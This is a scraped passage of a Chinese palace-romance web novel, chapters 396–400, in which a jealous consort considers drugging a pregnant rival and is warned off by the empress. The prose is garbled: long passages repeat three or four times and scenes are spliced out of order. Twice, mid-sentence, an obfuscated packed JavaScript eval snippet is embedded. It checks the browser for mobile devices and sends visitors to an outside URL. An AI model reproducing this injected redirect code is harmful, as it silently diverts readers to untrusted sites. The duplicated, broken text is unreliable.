说着话林臻就要低头,吓得慕容嫣赶紧躲开,捂住胸口:“不行!这么多人看着呢,朕总不能把宫里的人都杀了吧!你先回去,处理好了再来见朕!” 身后提着拖尾的宫女们吓得瑟瑟发抖。 林臻却浑然不觉。 他搂住慕容嫣的腰身,大手伸进貂皮里面,盖在那奢华的凤袍上。 “最近还是不太平,我本想把颜颜调进来保护你,谁知道这妮子居然带着来福进山打猎去了,你自己要万事小心。” “嗯。”慕容嫣感受林臻的关切,羞涩地点了点头。 林臻低下头,在她的额头上轻轻一吻,转身离开皇宫。 慕容嫣摸了摸还带着一丝温热的额头,甜甜一笑,旋即恢复成那高冷的女帝模样,对身后的宫女、太监们说道。 “走,去贵妃那里。” 司马椿蕾这几天挺闹心,已经连续处置十几个太监、宫女了。 原因无他,顾镇居然怀孕了。 奶奶的,司马椿蕾越想越气,自己那么努力,那么迎合,居然迟迟怀不上,反而让那个像死鱼似的女人先有了。 虽然顾镇不是很受宠,但也毕竟是林臻的女人,尤其林臻家里人丁不旺,急需子嗣。 这无形中会把顾镇的地位抬得很高,甚至有一天会超越自己。 这是司马椿蕾绝对不能接受的事情。 她可以向慕容嫣低头,但绝不允许除慕容嫣外的任何女人站在她上面。 此刻,她坐在宫里的罗汉床上,手里攥着包药粉。 她在思量。 要不要把顾镇这个还没出世的孩子给打掉! 只要没了孩子,她顾镇就是自己的小跟班! 想到这,司马椿蕾神色一凛,想要起身。 突然,殿门外面传来一声山呼。 “陛下驾到!!” 林臻就是要用这个办法来控制他们,让他们在广袤的草原乖乖给我们大乾放羊放牛。 慕容嫣说道:“夫君的意思是,这羊毛工厂就设置在皇宫里?” “对啊,你西苑那边那么大地方都空着,留着干什么?” “不行!”慕容嫣当即拒绝:“那么多羊毛肯定会漫天飞,而且还有味道!朕不同意!” “那好吧,这事儿暂且搁下。” “不行!” “啊?”林臻都懵了,“不是.你这也不行那也不行的,你到底要干什么啊?” “这么好的买卖不做怎么行?你来负责找工坊,不行就直接设立在武清,还要负责教授宫女纺织,还要想办法把做好的衣服卖出去。利润归朕!” 林臻眼珠子瞪得老大。 “那你干什么啊?” “朕出宫女啊?还不行吗?”慕容嫣顿了顿,好像发现自己很过分,于是又说道,“宫女朕来提供,但工钱需要你出。” “人你提供,工钱我出,卖出去的利润还要归你?你掉钱眼里吧?” 林臻八辈子没听过这样的要求。 本来他是想给慕容嫣解决点宫里的负担,谁知道竟然惹这一身麻烦。 慕容嫣倔强地攥紧粉拳,气鼓鼓的看着他:“朕现在缺钱得很,你到底答不答应!” “好好好!我投降,我投降!”林臻举起双手表示投降,慕容嫣痴痴一笑,“嘻嘻嘻,这才是朕的好夫君嘛!” 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“不行!”慕容嫣当即拒绝:“那么多羊毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15252364|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定会漫天飞,而且还有味道!朕不同意!” “那好吧,这事儿暂且搁下。” “不行!” “啊?”林臻都懵了,“不是.你这也不行那也不行的,你到底要干什么啊?” “这么好的买卖不做怎么行?你来负责找工坊,不行就直接设立在武清,还要负责教授宫女纺织,还要想办法把做好的衣服卖出去。利润归朕!” 林臻眼珠子瞪得老大。 “那你干什么啊?” “朕出宫女啊?还不行吗?”慕容嫣顿了顿,好像发现自己很过分,于是又说道,“宫女朕来提供,但工钱需要你出。” “人你提供,工钱我出,卖出去的利润还要归你?你掉钱眼里吧?” 林臻八辈子没听过这样的要求。 本来他是想给慕容嫣解决点宫里的负担,谁知道竟然惹这一身麻烦。 慕容嫣倔强地攥紧粉拳,气鼓鼓的看着他:“朕现在缺钱得很,你到底答不答应!” “好好好!我投降,我投降!”林臻举起双手表示投降,慕容嫣痴痴一笑,“嘻嘻嘻,这才是朕的好夫君嘛!” 言罢她翻了个妩媚的白眼,双手环住林臻的脖子,在他嘴角轻轻一吻:“吧唧!放心,你不会吃亏的,回头朕好好伺候你。” “不用,让我埋进你的胸口大哭一场即可。” 说着话林臻就要低头,吓得慕容嫣赶紧躲开,捂住胸口:“不行!这么多人看着呢,朕总不能把宫里的人都杀了吧!你先回去,处理好了再来见朕!” 身后提着拖尾的宫女们吓得瑟瑟发抖。 林臻却浑然不觉。 他搂住慕容嫣的腰身,大手伸进貂皮里面,盖在那奢华的凤袍上。 “最近还是不太平,我本想把颜颜调进来保护你,谁知道这妮子居然带着来福进山打猎去了,你自己要万事小心。” “嗯。”慕容嫣感受林臻的关切,羞涩地点了点头。 林臻低下头,在她的额头上轻轻一吻,转身离开皇宫。 慕容嫣摸了摸还带着一丝温热的额头,甜甜一笑,旋即恢复成那高冷的女帝模样,对身后的宫女、太监们说道。 “走,去贵妃那里。” 司马椿蕾这几天挺闹心,已经连续处置十几个太监、宫女了。 原因无他,顾镇居然怀孕了。 奶奶的,司马椿蕾越想越气,自己那么努力,那么迎合,居然迟迟怀不上,反而让那个像死鱼似的女人先有了。 虽然顾镇不是很受宠,但也毕竟是林臻的女人,尤其林臻家里人丁不旺,急需子嗣。 这无形中会把顾镇的地位抬得很高,甚至有一天会超越自己。 这是司马椿蕾绝对不能接受的事情。 她可以向慕容嫣低头,但绝不允许除慕容嫣外的任何女人站在她上面。 此刻,她坐在宫里的罗汉床上,手里攥着包药粉。 她在思量。 要不要把顾镇这个还没出世的孩子给打掉! 只要没了孩子,她顾镇就是自己的小跟班! 想到这,司马椿蕾神色一凛,想要起身。 突然,殿门外面传来一声山呼。 “陛下驾到!!” 林臻就是要用这个办法来控制他们,让他们在广袤的草原乖乖给我们大乾放羊放牛。 慕容嫣说道:“夫君的意思是,这羊毛工厂就设置在皇宫里?” “对啊,你西苑那边那么大地方都空着,留着干什么?” “不行!”慕容嫣当即拒绝:“那么多羊毛肯定会漫天飞,而且还有味道!朕不同意!” “那好吧,这事儿暂且搁下。” “不行!” “啊?”林臻都懵了,“不是.你这也不行那也不行的,你到底要干什么啊?” “这么好的买卖不做怎么行?你来负责找工坊,不行就直接设立在武清,还要负责教授宫女纺织,还要想办法把做好的衣服卖出去。利润归朕!” 林臻眼珠子瞪得老大。 “那你干什么啊?” “朕出宫女啊?还不行吗?”慕容嫣顿了顿,好像发现自己很过分,于是又说道,“宫女朕来提供,但工钱需要你出。” “人你提供,工钱我出,卖出去的利润还要归你?你掉钱眼里吧?” 林臻八辈子没听过这样的要求。 本来他是想给慕容嫣解决点宫里的负担,谁知道竟然惹这一身麻烦。 慕容嫣倔强地攥紧粉拳,气鼓鼓的看着他:“朕现在缺钱得很,你到底答不答应!” “好好好!我投降,我投降!”林臻举起双手表示投降,慕容嫣痴痴一笑,“嘻嘻嘻,这才是朕的好夫君嘛!” 言罢她翻了个妩媚的白眼,双手环住林臻的脖子,在他嘴角轻轻一吻:“吧唧!放心,你不会吃亏的,回头朕好好伺候你。” “不用,让我埋进你的胸口大哭一场即可。” 说着话林臻就要低头,吓得慕容嫣赶紧躲开,捂住胸口:“不行!这么多人看着呢,朕总不能把宫里的人都杀了吧!你先回去,处理好了再来见朕!” 身后提着拖尾的宫女们吓得瑟瑟发抖。 林臻却浑然不觉。 他搂住慕容嫣的腰身,大手伸进貂皮里面,盖在那奢华的凤袍上。 “最近还是不太平,我本想把颜颜调进来保护你,谁知道这妮子居然带着来福进山打猎去了,你自己要万事小心。” “嗯。”慕容嫣感受林臻的关切,羞涩地点了点头。 林臻低下头,在她的额头上轻轻一吻,转身离开皇宫。 慕容嫣摸了摸还带着一丝温热的额头,甜甜一笑,旋即恢复成那高冷的女帝模样,对身后的宫女、太监们说道。 “走,去贵妃那里。” 司马椿蕾这几天挺闹心,已经连续处置十几个太监、宫女了。 原因无他,顾镇居然怀孕了。 奶奶的,司马椿蕾越想越气,自己那么努力,那么迎合,居然迟迟怀不上,反而让那个像死鱼似的女人先有了。 虽然顾镇不是很受宠,但也毕竟是林臻的女人,尤其林臻家里人丁不旺,急需子嗣。 这无形中会把顾镇的地位抬得很高,甚至有一天会超越自己。 这是司马椿蕾绝对不能接受的事情。 她可以向慕容嫣低头,但绝不允许除慕容嫣外的任何女人站在她上面。 此刻,她坐在宫里的罗汉床上,手里攥着包药粉。 她在思量。 要不要把顾镇这个还没出世的孩子给打掉! 只要没了孩子,她顾镇就是自己的小跟班! 想到这,司马椿蕾神色一凛,想要起身。 突然,殿门外面传来一声山呼。 “陛下驾到!!” 林臻就是要用这个办法来控制他们,让他们在广袤的草原乖乖给我们大乾放羊放牛。 慕容嫣说道:“夫君的意思是,这羊毛工厂就设置在皇宫里?” “对啊,你西苑那边那么大地方都空着,留着干什么?” “不行!”慕容嫣当即拒绝:“那么多羊毛肯定会漫天飞,而且还有味道!朕不同意!” “那好吧,这事儿暂且搁下。” “不行!” “啊?”林臻都懵了,“不是.你这也不行那也不行的,你到底要干什么啊?” “这么好的买卖不做怎么行?你来负责找工坊,不行就直接设立在武清,还要负责教授宫女纺织,还要想办法把做好的衣服卖出去。利润归朕!” 林臻眼珠子瞪得老大。 “那你干什么啊?” “朕出宫女啊?还不行吗?”慕容嫣顿了顿,好像发现自己很过分,于是又说道,“宫女朕来提供,但工钱需要你出。” “人你提供,工钱我出,卖出去的利润还要归你?你掉钱眼里吧?” 林臻八辈子没听过这样的要求。 本来他是想给慕容嫣解决点宫里的负担,谁知道竟然惹这一身麻烦。 慕容嫣倔强地攥紧粉拳,气鼓鼓的看着他:“朕现在缺钱得很,你到底答不答应!” “好好好!我投降,我投降!”林臻举起双手表示投降,慕容嫣痴痴一笑,“嘻嘻嘻,这才是朕的好夫君嘛!” 言罢她翻了个妩媚的白眼,双手环住林臻的脖子,在他嘴角轻轻一吻:“吧唧!放心,你不会吃亏的,回头朕好好伺候你。” “不用,让我埋进你的胸口大哭一场即可。” 说着话林臻就要低头,吓得慕容嫣赶紧躲开,捂住胸口:“不行!这么多人看着呢,朕总不能把宫里的人都杀了吧!你先回去,处理好了再来见朕!” 身后提着拖尾的宫女们吓得瑟瑟发抖。 林臻却浑然不觉。 他搂住慕容嫣的腰身,大手伸进貂皮里面,盖在那奢华的凤袍上。 “最近还是不太平,我本想把颜颜调进来保护你,谁知道这妮子居然带着来福进山打猎去了,你自己要万事小心。” “嗯。”慕容嫣感受林臻的关切,羞涩地点了点头。 林臻低下头,在她的额头上轻轻一吻,转身离开皇宫。 慕容嫣摸了摸还带着一丝温热的额头,甜甜一笑,旋即恢复成那高冷的女帝模样,对身后的宫女、太监们说道。 “走,去贵妃那里。” 司马椿蕾这几天挺闹心,已经连续处置十几个太监、宫女了。 原因无他,顾镇居然怀孕了。 奶奶的,司马椿蕾越想越气,自己那么努力,那么迎合,居然迟迟怀不上,反而让那个像死鱼似的女人先有了。 虽然顾镇不是很受宠,但也毕竟是林臻的女人,尤其林臻家里人丁不旺,急需子嗣。 这无形中会把顾镇的地位抬得很高,甚至有一天会超越自己。 这是司马椿蕾绝对不能接受的事情。 她可以向慕容嫣低头,但绝不允许除慕容嫣外的任何女人站在她上面。 此刻,她坐在宫里的罗汉床上,手里攥着包药粉。 她在思量。 要不要把顾镇这个还没出世的孩子给打掉! 只要没了孩子,她顾镇就是自己的小跟班! 想到这,司马椿蕾神色一凛,想要起身。 突然,殿门外面传来一声山呼。 “陛下驾到!!” 第397章 冥冥之中有什么安排? 这也真是奇怪。 司马椿蕾刚要下狠心,慕容嫣就来了。 难道说这冥冥之中有什么安排? 司马椿蕾看了看手中的药包,最后藏进自己的腰带之中起身。 不管怎么说,慕容嫣既然没有直接推门进来,而是让太监山呼,那肯定就需要自己去迎接,否则会坏了规矩。 司马椿蕾穿着紫色宫裙,上面绣着高贵的牡丹,起身后迈出去的步伐带着几分迟疑。 最后,到底还是一名太监将她的宫门推开,慕容嫣大步走入院内。 司马椿蕾这才打开殿门,装作一副诚惶诚恐的样子迎了出来,到慕容嫣面前双膝跪地。 “臣妾接驾来迟,还请陛下恕罪。” 慕容嫣看了她一眼,淡淡地说:“起来吧。” “谢陛下。” 虽然说是起来,但慕容嫣已经走到她身前,仿若踏云而来的神祇,周身散发着不容亵渎的威严,让司马椿蕾刚要直起来的膝盖又软软地跪了下去。 随即,慕容嫣的凤袍便映入眼帘。 不知为何,司马椿蕾看到那凤袍的瞬间,心被狠狠刺痛了一下。 那身极致华丽的凤袍当真是巧夺天工,衣料非是凡品,触手生温,丝丝缕缕间都透着矜贵。 金线穿梭其中,勾勒出的凤凰图腾栩栩如生,凤羽根根分明,似在日光下轻颤,随时要振翅高飞,翱翔九霄。 红宝石、蓝宝石、猫儿眼等珍稀宝石镶嵌在凤凰的眼眸、利爪、凤尾之处,随着慕容嫣的细微动作,流光溢彩,璀璨夺目,似将漫天星河披挂于身。 再看那十几米长的拖尾,更是精美绝伦。 拖尾边缘,以极细的银线绣着灵动飘逸的火焰纹,火焰跳跃翻腾,仿若有真的火苗在舞动,透着无尽的炽热与生机,这是凤凰浴火重生的象征。 层层叠叠的裙摆之上,绣满了形态各异的凤凰。 有的引吭高歌;有的双翅舒展;还有的回首凝望,眼中含情。 每一只凤凰的绣像针法细腻,针脚细密到几乎不可见,用的皆是捻金、缕银的丝线,在光线下闪烁着金属光泽,让凤凰似乎有了实体,呼之欲出。 凤凰周围,还环绕着五彩祥云,以极淡的丝线绣成,若隐若现。更有细碎的珍珠、珊瑚珠点缀其间。 司马椿蕾攥紧了衣角,指节泛白,心底的羡慕如汹涌的潮水袭来。 如此漂亮的凤袍和拖尾,为什么我不能穿呢! 不,与其说羡慕,不如说是嫉妒。 因为这一身凤袍、拖尾不仅是尊荣,更是权力的象征,是慕容嫣君临天下的铁证。 而自己在这权力的阴影下,不过是蝼蚁般的存在。 即便自己的父亲是当朝丞相、即便自己是后宫之主、即便司马家再根深蒂固。 这些在慕容嫣面前,依旧什么都不是。 而这一切,都是林臻给她的。 为什么.为什么不能给我呢?如果我当皇帝,绝对要比这个女人英明一百倍! 慕容嫣轻轻提起裙摆,那凤袍的一角在她手中攥起,露出底下同样绣着精美花纹的锦鞋,缓缓迈过门槛,金色的裙摆随着她的动作轻轻摆动,仿若风中舞动的火焰,十几米长的拖尾在地上与石子触碰,发出窸窸窣窣的声响。 直到慕容嫣身姿婀娜地迈进屋内,司马椿蕾才觉膝盖处的酸痛如针扎般刺来,她咬着下唇,双手撑地,缓缓起身,每一个动作都透着小心与卑微。 踏入殿中,暖意裹胁着淡雅的龙涎香气扑面而来,却驱散不了她心头的阴霾。 慕容嫣慵懒地坐在最中间的暖榻上,暖榻上铺着厚厚的锦衾,绣着戏水鸳鸯。纤细的手指轻轻摆弄着拖尾,动作优雅从容,将那厚重的锦缎有规则地堆叠在软塌旁边,似是漫不经心,又似刻意彰显着掌控一切的悠然。 司马椿蕾强压下心头的酸涩与忐忑,福了福身,轻声开口,声音带着几分恰到好处的谦卑:“陛下昨天特意叫过去的宫女呢?为何没有给陛下提拖尾? 说话时,司马椿蕾她微微抬眸,目光触及慕容嫣那张倾国倾城却冷若冰霜的面容,又迅速垂下。 可见她是心里有鬼,同时对慕容嫣也有种恐惧。 慕容嫣朱唇轻启,声线清冷,仿若寒夜中的碎冰:“朕还是喜欢自己打理。 “那就这么在地上拖着,半天就脏,几天就坏了呀。 “坏了就让那群宫女去修补,左右她们闲着也是闲着,再说夫君又找到一个赚钱的门路,以后宫里用不上的宫女就都赶出去做纺织吧。 “臣妾遵旨。 “还有。慕容嫣突然依靠在小案桌上,目光玩味地打量着她:“朕今天来是有事情要告诉你。 司马椿蕾心头一紧,忙又屈膝行礼,恭称:“请陛下示下。 慕容嫣微微抬眼,目光扫过司马椿蕾,带着审视与警告:“宁妃现在有了身孕,这是夫君的第二个孩子,万万不能有失。你立刻安排最妥贴的人去照顾她。记住!要无微不至,如果这个孩子有了任何一丁点的 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“你不必揣着明白装糊涂,朕的意思你很清楚。以夫君的性格,一旦知道顾镇的孩子是被你打掉的,你就彻底完蛋了。你不仅会瞬间失去夫君的宠爱,还会失去你今天的一切。更何况以王爷的性格,是绝不会放过杀他重孙子的凶手的。” 司马椿蕾的身体随着慕容嫣的话语微微颤抖。 慕容嫣站起来,凤袍落下,走到她身边拍了拍她的肩膀:“你们司马家才刚刚上位,正是落地生根、培养门生的时候。如果在这个时候,你的贵妃之位被废,那紧接着你父亲的丞相也会被废,你最看重的门楣将会被你自己彻底推下深渊。” 慕容嫣叹了口气,显得有些惆怅:“说实话,朕也不是很喜欢顾镇,但她毕竟是夫君的小妾,在大乾,夫君与朕有着同等的权力,他想处置的人,没有处置不了的。所以.你还是祈祷顾镇的孩子平安降世吧。” 说完慕容嫣转身要走,司马椿蕾叫住她:“陛下.” 慕容嫣没有回头,站在殿门口,背对着司马椿蕾,声音幽幽传来:“放心,只要你把后宫打理得好,就算顾镇生一百个孩子,也夺不走你的皇后之位。” 言罢慕容嫣头也不回地走出去。 司马椿蕾对着她的背影再次跪倒,恭恭敬敬地磕了一个头,有懊悔的泪水流下。 “臣妾叩谢陛下圣恩!” 第398章 我太奶奶要杀我全家 慕容嫣走了。 司马椿蕾的目光却不由自主地被那刚刚被她叠放好的四四方方的凤袍拖尾吸引。 随着慕容嫣莲步轻移,那拖尾仿若被唤醒的绮丽梦境,一点一点地打开,又一点一点地滑落。 起初,拖尾的一角只是轻轻颤动。 紧接着,那灵动飘逸的火焰纹率先映入眼帘,银线在微光下闪烁,似有火苗沿着纹路边沿跳跃、蔓延,转瞬之间,仿佛要将整个拖尾点燃,释放出凤凰涅槃般的炽热力量。 绣在裙摆上的凤凰们,也像是感知到了什么,逐一鲜活起来。 引吭高歌;双翅舒展,若隐若现间,如梦如幻的仙云愈发浓郁。 细碎的珍珠、珊瑚珠如同清晨草叶尖上摇摇欲坠的露珠,随着拖尾的滑落而滚动、跳跃,每一次碰撞都发出轻微而清脆的声响。 而那些捻金、缕银的丝线,在日光透过窗棂的斑驳光影里,闪耀着夺目的光芒,让每一只凤凰、每一道火焰纹、每一朵祥云都披上了一层华丽的光晕,愈发显得神圣而不可侵犯。 司马椿蕾多希望身这么好看的拖尾能穿在她的身上啊。 那样,她就也可以昂首阔步,让所有人匍匐在脚下,能与心爱的林臻并肩,接受万民朝拜。 可这一切,终究无法实现。 侍女雪琪从厢房里捧着暖手炉走出。 刚刚慕容嫣的话让她也无比忐忑。 就差一点。 就差那么一点点,司马椿蕾就要给顾镇下药了。 而这件事情一旦东窗事发,她肯定也是难逃厄运。 雪琪深吸口气,先是将司马椿蕾扶起来回到暖榻上坐下,再把暖手炉放在她腿上,跪在她的脚边。 “娘娘,我们怎么办呀? 司马椿蕾缓了好一会儿才从那股子后怕中缓过来,说道:“还能怎么办?立刻派人去告诉夫君顾镇怀孕的事情,另外把太医院所有大夫都调过去。不行,还是不够,顾镇身边那几个宫女都太粗心,万一照顾不周出了事情,她们根本担待不起。 “娘娘说得对,她们十名贱命都抵不上王府孩子的命,要不奴婢亲自去照顾。 司马椿蕾点点头:“唔,也好,这宫里的人员随你调动,钱也可以直接找内务府支取,总之就是一句话,顾镇的孩子不管是男是女,都必须平安落地! 说到这,司马椿蕾幽幽地叹了口气:“唉,陛下说的有道理啊,顾镇的孩子绝不能掉,否则不仅是我,就连司马家都会一起完蛋。 “是,奴婢这就去安排。” 很快林臻就知道了顾镇怀孕这件事。 他自己还没高兴呢,老爷子反倒激动得老泪纵横,连忙去后面上了柱香,回来就要说把顾镇接到王府来养着。 林臻不同意。 书房里,祖孙俩吵得面红耳赤,都要动手了。 林震仙指着林臻鼻子臭骂:“小王八羔子!还反了你了!怎么滴?看老夫上了岁数想比划比划?” “我没有!!”林臻使劲的辩解。 “还说没有!那宁妃娘娘肚子里的是不是你孩子?” “是啊。” “那还不赶紧接回来!宫里那帮赤脚大夫顶个屁用?” “祖父,顾镇是陛下的妃子,不是我的!再说,你这光天化日的怎么接回来啊?难道说王府世子霍乱宫闱,导致陛下妃子怀孕吗?这王府的脸还要不要了?” “你少给老夫打马虎眼!老夫就是信不过宫里那些赤脚大夫,当年先帝在位的时候,后宫里死的孩子还少吗?这可是林家的种!老夫绝不能坐视不管!” “不行,顾镇必须得在宫里养胎!但是孙儿向您保证,天天都去看望行不行?” “不行!老夫少年丧夫,中年丧妻,老年丧子!绝不能再接受晚年丧重孙子!老夫警告你,你要是敢把这孩子给老夫整没了,老夫他妈杀你全家!” 嘎? 我太奶奶要杀我全家? 这话怎么听着这么小众啊? 林臻叹了口气,正要安抚,就见张俪、月妩、浣碧三女走了进来,扑通一声跪在林震仙身后:“祖父,您消消气,莫要气坏了身子呀。” “是呀祖父,因为这点事情气坏了身体不值当呀。” 林臻也说道:“祖父,你先消消气,听我把话说完。 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场中气氛一时非常尴尬,林臻想反驳,却又拿不出证据。 总不能说自己在后世的时候看过的书能堆满三个书架吧?老爷子肯定以为他疯了。 恰好,就在此时,侯春走了进来。 见到三位夫人都跪在地上,林震仙气得脑门通红,也不知道自己的消息该不该说。 林臻见到他,就像见到救星似的,问道:“什么事儿,说。” “参加王爷!”侯春先是林震仙行礼。 林震仙对士兵向来是非常疼爱的,即便再生气,他也点了点头算是回应。 随即侯春说道:“世子,胖爷在大门口死活不走,还拉了泡屎,说陛下不给定亲的圣旨,他就死在咱家门口。” 林臻还没说话呢,林震仙刚刚要消下去的火噌的一下又冒了上来,大骂道:“这个小王八犊子,敢在老夫家门口拉屎!老夫今天非打死你!” 言罢老爷子怒气冲冲本大门而去。 第399章 中年人戒之在怒 孔圣说:少年人戒之在色;中年人戒之在怒;老年人戒之在得。 林臻反倒觉得林震仙应该戒之在怒。 这老爷子的脾气从年轻的时候就这样,几十年下来是一点没改,七十岁的人了还要怒气冲冲的和二十几岁的王胖子较劲,这不是闲的么。 说来也可以理解,老爷子因为顾镇怀孕的事情本就在气头上,胖子还敢扎刺,这回算是提到铁板了。 这个世界上王胖子怕的人只有三个。 一个肯定是林臻,再有就是他的父亲王铁男,和王铁男的义父林震仙了。 老爷子路过梅园,一把将一节树枝掰下来,力气大得惊人。 再用另只手在枝丫上一搓,梅花片片凋落,形成个一米多长的打狗棒,提着就奔大门口走去。 胖子刚在门口拉了泡屎,也不知道擦没擦屁股,此刻蹲在地上冻得像个傻熊,一个劲儿用黄灿灿的手指头擦鼻涕。 林震仙提着打狗棒走过来,林臻和浣碧、张俪、月妩在后面紧紧跟着,一个劲儿地劝。 胖子还不知道咋回事呢,见老爷子奔自己来,身后跟着林臻,顿时笑呵呵地说:“呦呵?哈哈哈哈,大哥,你也有今天呐!!苍天有眼呐!呐!呐!呐!哎呦我曹! 林震仙那可是武将,挥动棒子的速度快如闪电,狠狠就敲在胖子脑袋上。 砰—— 林臻看的眼珠子险些跳起来。 只见那改造过的打狗棒一下就被打断了,胖子大骂一声,捂着脑子就开始跑,一边跑一边说:“爷爷!活爷爷!你这是干什么啊! “干什么!?小王八犊子,敢在老夫家门口拉屎!摄政王府建立二百多年,你还是头一个!老夫今天不打死你! “别别别!爷爷,我.我知错了,大哥!大哥你帮我劝劝啊! 这一棒子居然没把胖子打死,可见这厮抗打击能力是相当强啊! 既然如此,那我也没什么好担心的了。 打呗,就当给老爷子活动活动手脚。 生命在于运动嘛。 林臻转过身,就准备回书房继续搞自己的事情,张俪等人见状也发现没什么大事,于是纷纷去忙自己的事情。 胖子被打得满院子乱窜,脑袋顶上起了个鹅蛋大小的脓包,可偏偏又不敢还手。 一来林震仙是长辈,说是亲爷爷都不过分,二来他真不一定能打得过林震仙。 别看林震仙岁数大,这么多年功夫可是一点没落下,脱了衣服照样八块腹肌,倒 三角。 用这边的土话说那就是:盖了帽了老baby! 林臻到书房,就开始琢磨用粮食换羊毛的事情,自从与南楚的不平等条约签订之后,他们已经把第一批岁供粮食送了进来。 当然,按照林臻闭关锁国的政策,他们的送礼队伍只能把岁供送到通商口岸广陵,然后再由大乾的兵卒送进国内。 其实林臻内心是反对闭关锁国的,但此刻不是煊赫门作妖嘛。 等把这个门派除掉,林臻就可以重新打开口岸面对所有国家了。 日子苦是苦了点,但还不至于饿死。 林臻也有让户部拨款,月月给百姓发生活物资,毕竟是冬天,百姓得活着。 下午的时候,张俪一身紫罗兰印花皮袄,带着虎贲营一百勇士从外面回来。 今天是每月结账的日子。 林臻现在也算家大业大,手底下产业很多,但他自己管的地方其实并不多,所以就需要手底下的人来进行每月例行汇报。 如果林臻不在,则是去找张俪。 却见着妮子扭着丰腰款款而来。 身后虎贲营则是把牛车上的大木头箱子卸下来,一一摆放在院子里。 凭他们的力气,每个箱子都需要两人合抱,可见里面装的东西非常重。 张俪将账单本放在林臻面前,随即便慵懒地走过来靠在林臻身上,领口的貂皮**轻轻剐蹭着他的脸,说道:“夫君,这个月赌场流水四十八万两,利润二十万两,其中有一万已经给陛下送去了,还有娱乐城的改造工作刨去一万五,剩下的都在院子里。” 林臻看着账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264499|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目,头也没抬:“别放家里,不安全。” “我说夫君啊,您就行行好收下吧,东苑那边的屋子空着也是空着,拿出来当宝库呗?” “为何?你那边装不下了?” “那**早就装不下了,我们现在手头的现银足足有六百万两,黄金按照您的说法又不能花,很多都发霉了。” 林臻有些纳闷。 因为他平时不管钱,他对钱没有兴趣。 于是问道:“这全国各地都在修桥修路,无情开发区那边又如火如荼的,怎么还有这么多钱?” “您忘啦?现在很多修桥修路劳工都是战俘,每个月才给一百文钱,我们只需要提供吃住。而且自从您决定每个月从国库出钱给百姓发物资开始,百姓就不愿要钱了,都想要物资,两个月下来,这钱就都存着,花都没地方花。” “唉。”林臻叹了口气。 妈的,钱多也闹挺啊。 这么多钱花不出去,那就是破铜烂铁。 他掐了掐眼角,说道:“这样下去不行,必须得想个办法把钱花出去,你有什么主意?” 张俪莞尔一笑:“呵呵呵,妾身可没有主意,除非大仗,否则这钱肯定是花不出去的。” “现在大冬天的打什么仗啊,再说我们与南楚的战争才刚打完。这样吧,我们提高下官员的薪俸和本土劳工的工资,鼓励他们去消费。另外,商税保持不变,降低百姓的农税。” “啊?”张俪张开那诱人的檀口,“夫君,咱大乾百姓的农税已经很低了,还降?” “降!我们一定要鼓励百姓种地,这样才不会有饥饿之忧。什么时候农民种地不收税,反而还能得到国家补助的时候,就是我们一举铲除地主的时候!” 想起那些**的地主林臻就恨得牙痒痒。 早晚弄死他们。 张俪摆摆手表示投降:“行行行,反正**的东西妾身也不懂,全听您的,等下我就整理文案给户部送去。” “嗯。” 宫里这边,慕容嫣与司马椿蕾说完话,便奔着顾镇的寝宫而去。 第400章 就算是小宫女也得有点自己的性格 其实慕容嫣并没有展现什么手段,仅仅是一个出场就把司马椿蕾吓得什么想法都没了。 她是皇帝,是大乾**疆土的主宰。 除了林臻,任何人不都敢在她面前上蹿下跳的。 今天是林臻应该往宫里送钱的日子,慕容嫣嫌时间过得太慢,于是就溜溜达达地来到顾镇的寝宫里。 这可是重点保护对象。 万一照顾不好有了什么闪失,别说司马椿蕾,就是慕容嫣都很有可能被林臻迁怒。 今天的慕容嫣还是那身着堪称稀世珍宝,凝聚了天下巧匠毕生心血的凤袍。 凤袍袍身以最顶级的冰蚕丝织就,入手丝滑冰凉,却又坚韧无比,阳光下泛着柔和微光,似流淌的银河。 金丝银缕穿梭其中,纵横交错,勾勒出一幅凤凰涅槃、翱翔九天的震撼画面。 凤凰的每一根翎羽都仿若精心雕琢,羽尖处用极细的金线缠绕,随着慕容嫣的一举一动,闪烁跳跃。 周身镶嵌的宝石更是夺目至极,红宝石炽热明艳、蓝宝石静谧神秘、猫儿眼幽绿深邃,于光线下变幻莫测。 这些宝石错落有致地组成繁复花纹,或是祥瑞云朵环绕凤凰,或是如意藤蔓蔓延生长,每一处细节都彰显着皇家奢华与尊贵。 身后那十几米长的凤袍拖尾,才是真正的惊世之作。 拖尾选用的是柔滑如脂却又挺括有型的天蚕丝缎,色泽纯正,泛着温润的光泽。 其上满绣凤凰,形态各异,大小不一,却皆栩栩如生。 有的凤凰引颈长鸣,有的双翅舒展,翩翩欲飞,还有的回首顾盼,眼眸灵动,似在与袍身上的凤凰遥相呼应。 凤凰的羽毛以极细的丝线绣就,层层叠叠,色彩斑斓,在阳光下闪烁着梦幻般的光芒。 绣工们运用了平针、套针、滚针等多种针法,使得羽毛的质感更加真实,轻轻抚摸,甚至能感受到那细腻的绒毛。 沿着拖尾边缘,以金线精心勾勒出火焰般的纹路,随着慕容嫣前行,拖在地上沙沙作响。 头顶凤冠更是巧夺天工,纯金打造的主体坚如磐石又光芒璀璨,仿若顶着一轮金日。 中心那颗夜明珠硕大无比,圆润通透,散发着清冷柔和的光晕,将慕容嫣的面容映衬得超凡脱俗。 